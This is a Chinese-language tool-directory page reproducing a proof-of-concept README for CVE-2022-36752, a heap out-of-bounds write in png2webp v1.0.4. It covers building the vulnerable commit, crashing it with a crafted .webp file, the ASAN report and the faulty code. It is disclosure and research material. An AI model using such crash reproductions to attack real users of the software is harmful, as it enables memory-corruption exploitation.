Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/halcy0nic/cve-2022-36752
漏洞分析漏洞利用模糊测试二进制分析论文与研究学习与教育
GitHubhalcy0nic/cve-2022-36752

CVE-2022-36752

CVE-2022-36752 的概念验证

查看仓库
123年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-36752 的描述

png2webp v1.0.4 被发现在函数 w2p 中存在越界写入漏洞。在将格式反向转换回 png 时,该漏洞可通过特制的 webp 文件加以利用。

复现

要复现该漏洞,请下载存在漏洞的 png2webp(v1.0.4)版本并编译该项目:

root@kitploit:~
git clone https://github.com/landfillbaby/png2webp.git
cd png2webp
git checkout 0c7119109cde91127a263bf0af252e5e730f7fba
git submodule update --init --depth 1
./configure && make

项目编译完成后,我们可以将 png2webp 指向本仓库中包含的恶意 .webp 文件(CVE-2022-36752_crash.webp):

root@kitploit:~
./png2web -r CVE-2022-36752_crash.webp

上述命令将导致崩溃并返回一条错误信息:

root@kitploit:~
corrupted size vs. prev_size

为了更好地了解崩溃发生的位置,让我们通过向 Makefile 中的 CFLAGS 变量添加 -fsanitize=address,使用地址消毒器(ASAN)重新编译项目。我们还希望编译器在可执行文件中存储符号表信息(-g 标志),以帮助我们确定是哪一行代码导致了崩溃:

root@kitploit:~
ifeq (${uname_m},x86_64)
CFLAGS ?= -O3 -Wall -Wextra -pipe -flto=auto -DNDEBUG -march=x86-64-v2 -fsanitize=address -g

接下来,我们将清理所有过时的文件并重新编译项目:

root@kitploit:~
make clean
make

ASAN 报告程序中出现大小为 12 的无效写入,确认存在越界写入漏洞:

root@kitploit:~
==222970==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x563e3ec4ee6a bp 0x7fff3a7b04d0 sp 0x7fff3a7b04c8
WRITE of size 12 at 0x602000000010 thread T0
    #0 0x563e3ec4ee69  (/dev/shm/png2webp/png2webp+0x23e69)
    #1 0x563e3ec3df34  (/dev/shm/png2webp/png2webp+0x12f34)
    #2 0x7fcfe4967189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #3 0x7fcfe4967244 in __libc_start_main_impl ../csu/libc-start.c:381
    #4 0x563e3ec3e3f0  (/dev/shm/png2webp/png2webp+0x133f0)

0x602000000017 is located 0 bytes to the right of 7-byte region [0x602000000010,0x602000000017)
allocated by thread T0 here:
    #0 0x7fcfe4cae7cf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x563e3ec46052  (/dev/shm/png2webp/png2webp+0x1b052)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/dev/shm/png2webp/png2webp+0x23e69) 
Shadow bytes around the buggy address:
  0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[07]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==222970==ABORTING

函数 w2p() 中的漏洞代码:

root@kitploit:~
  if(l < 12
#ifdef SSIZE_MAX
    || l - 12 > SSIZE_MAX
#endif
  ) {
    PF("ERROR reading %s: %s", IP, k[2]);
    goto w2p_close;
  }

参考资料

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36752
  • https://cwe.mitre.org/data/definitions/787.html
下载工具